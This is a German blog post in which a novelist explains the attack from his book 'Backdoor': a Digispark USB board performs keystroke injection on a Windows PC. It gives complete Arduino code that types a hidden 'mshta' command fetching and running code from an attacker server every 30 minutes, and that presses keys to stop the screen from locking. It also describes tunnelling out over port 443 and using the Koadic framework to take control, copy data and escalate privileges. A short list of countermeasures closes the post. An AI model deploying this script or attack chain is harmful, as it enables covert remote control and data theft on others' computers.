Backdoor Roman – Spoiler Alarm!

Vor wenigen Tagen ist mein Roman „Backdoor“ als E-Book und als Taschenbuch erschienen. Schon häufen sich die Fragen, ob diese Backdoor tatsächlich mit einem so kleinen Gerät erzeugt werden kann. Schließlich hat der Digispark nur 6 Kilobyte Speicherplatz zur Verfügung.

Tatsächlich brauchte es nicht viel, um die Backdoor mittels Keystroke-Injection zu erzeugen. Zu diesem Zweck könnte man mshta.exe verwenden. Diese Datei ist standardmäßig im Windows-Betriebssystem vorhanden und braucht daher nicht erst auf das Zielobjekt übertragen zu werden.

MsHTA steht für Microsoft HTML Application. Dieser Prozess gilt als sicher und stellt normalerweise keine Gefahr für ein Windows-System dar. Die Datei ‚mshta.exe‘ befindet sich standardmäßig im Ordner C:\Windows\System32 und kann problemlos mit Nutzerrechten aufgerufen werden.

Wie läuft der Angriff ab?



Ohne den neuen Lesern die Spannung zu nehmen, kann man verraten, dass mithilfe des Digisparks (1) eine Verbindung zum Angreifer hergestellt wird. Um die Firewall zu umgehen, sollte dies über einen Port geschehen, der für den Verkehr von innen nach außen geöffnet ist. Das könnte z.B. Port 443 sein, der vorrangig für das Surfen im Internet benutzt wird. Das Zielsystem, als Beispiel wird hier ein Windows-10-PC genutzt, ruft die Webseite „http://112.23.137.77:443/eagle“ auf. Im Skript kann man sehen, dass dies automatisch mittels Keystroke-Injection passiert. (IP-Adresse ist fiktiv).

Der Server (2) mit der IP-Adresse 112.23.137.77 nimmt die Verbindung an und stellt eine permanente Verbindung zum Zielobjekt her. Hierzu wird die Software Koadic verwendet, die diese Verbindungen als „Zombies“ verwaltet. Ich habe das Post-Exploitation-Framework bereits in unserem Buch, in einem Artikel der iX und auf dieser Webseite ausführlich vorgestellt.

Welche „Hürden“ müssen überwunden werden.

  1. Keystroke-Injektion funktioniert natürlich nur, wenn ein Nutzer sich im System angemeldet hat und den Bildschirm frei für Eingaben macht. Ist er gesperrt, so bring z.B. das Tastenkürzel Windows+R, welches den „Ausführen-Dialog“ öffnet, nicht den gewünschten Effekt.
  2. Ist der PC einmal offen, so kann es sein, dass der Nutzer das Gerät nach einer gewissen Zeit wieder verlässt. In der Regel greift dann der Bildschirmschoner, der das Gerät nach einer vorgegebenen Zeit automatisch sperrt.
  3. Ist das Zielsystem ausgeschaltet, so kann selbstverständlich keine Verbindung zum Angreifer aufgebaut werden. Hier müssen wir gewährleisten, dass nach dem Einschalten und während der Nutzung immer wieder neue Verbindungen zum Angreifer aufgebaut und neue „Zombies“ erstellt werden.

Digispark – „Der Wolf im Schafspelz“

Digispark ist eine  Entwicklungsplatine auf Basis eines Attiny85. Er lässt sich direkt mit dem USB-Port eines Rechners verbinden und mit der Arduino-Entwicklungsumgebung  programmieren.

Technische Details:

  • Unterstützt die Arduino IDE (erhältlich für OSX/Win/Linux)
  • Stromversorgung über USB oder eine externe Quelle – 5V oder 7-35V 
  • On-board 500mA 5V Regler
  • Built-in USB
  • 6 I/O Pins 
  • 8kB Flash-Speicher (ca. 6kB effektiv verfügbar)
  • I2C und SPI
  • PWM auf 3 Pins
  • ADC auf 4 Pins
  • Power LED und Test/Status LED (auf Pin 0)

Arduino Entwicklungsumgebung

In diesem Beitrag habe ich gezeigt, wie Sie die Arduino Entwicklungsumgebung für den Digispark in einem Windows-Betriebssystem einrichten. Wer lieber mit Linux arbeitet, wird im Buch eine entsprechende Anleitung finden.

Achtung: Da die Originaldateien auf das US-Tastaturlayout zugeschnitten sind, müssen Nutzer einer deutschen Tastatur folgende Dateien austauschen:

  • DigiKeyboard.h
  • scancode-ascii-table.h

Sie werden diese Dateien ja nach Betriebssystem und Installation in den Nutzerdaten finden. In meiner Entwicklungsumgebung unter Windows wurde ich hier fündig:

C:\Users\frank\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard

Laden Sie die Dateien für ein deutsches Tastaturlayout hier herunter.

Dieses Skript soll helfen, die Probleme zu lösen

Die Variable „interval“ gewährleistet, dass das Zielsystem alle 30 Minuten eine neue Verbindung zum Angreifer aufnimmt. Die Werte sind in Millisekunden anzugeben.

Wir gehen die diesem Beispiel davon aus, dass der Bildschirm nach ca. zwei Minuten Inaktivität, automatisch gesperrt wird. Wenn jede Minute etwas auf der Tastatur passiert, dann sollte dies nicht der Fall sein. Die Variable „antiscreensaver“ legt fest, in welchem Zeitintervall, zu diesem Zweck, die Leertasten und Backspacetaste „gedrückt“ werden. Dies hat zur Folge, dass der Bildschirmschoner nicht aktiviert wird und weitere Verbindungsaufnahmen stattfinden können. Nach Möglichkeit sollten Sie diese Zeitspanne, je nach den Einstellungen auf dem Zielsystem, etwas größer wählen.

#include "DigiKeyboard.h"

long previousMillis = 0;
long interval = 1800000;        //  30 minutes
long antiscreensaver = 60000;   //   1 minute

void setup() {
  // don't need to set anything up to use DigiKeyboard
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  unsigned long currentMillis = millis();
  if(currentMillis - previousMillis > interval) {
     DigiKeyboard.delay(2000);
     DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
     DigiKeyboard.delay(2000);
     DigiKeyboard.println("cmd /c start /MIN mshta http://112.23.137.77:443/eagle");
     previousMillis = currentMillis;
  }
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(KEY_SPACE);
  DigiKeyboard.sendKeyStroke(KEY_BACKSPACE);
  DigiKeyboard.delay(antiscreensaver);
}

Post-Exploitation-Framework einsetzen

Mit Koadic haben Sie nun alle Möglichkeiten auf dem Zielsystem zu agieren. Das Werkzeug liefert Module, um auf Zielsystem zuzugreifen, Daten zu kopieren oder die Rechte zu erweitern.

Die diesem Beispiel wurde ein Kommando-Shell geöffnet und der Dateninhalt angezeigt.

Gegenmaßnahmen

Es ist im täglichen Betrieb nicht leicht, einen Digispark zu finden, der in eine freie USB-Schnittstelle gesteckt wurde. Regelmäßige Kontrollen würden hier natürlich helfen.
Außerdem ist das oben gezeigte Skript nicht perfekt. Auch wenn jemand mehr „Herzblut“ in die Sache steckt, wird es immer ein Keystroke-Injection-Angriff bleiben. Dies bedeutet, dass der Angreifer Befehle ausführen wird, die möglicherweise auf dem Bildschirm sichtbar sind.
Wenn der Bildschirmschoner nicht startet oder der Bildschirm nicht automatisch gesperrt wird, sollten der Nutzer stutzig werden und der Sache nachgehen.
Ein Virenschutzprogramm auf einem Windows-System könnte eventuell den Angriff erkennen und abwehren.
Wer einen Proxy-Server für die Verbindung ins Internet nutzt und hier sogar eine Authentifizierung gewählt hat, sollte ebenfalls auf der sicheren Seite sein.

Das folgende Video zeigt, was vom Angriff für den Nutzer zu sehen ist und welche Schritte ein Angreifer unternimmt, um wichtige Dateien herunterzuladen:

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.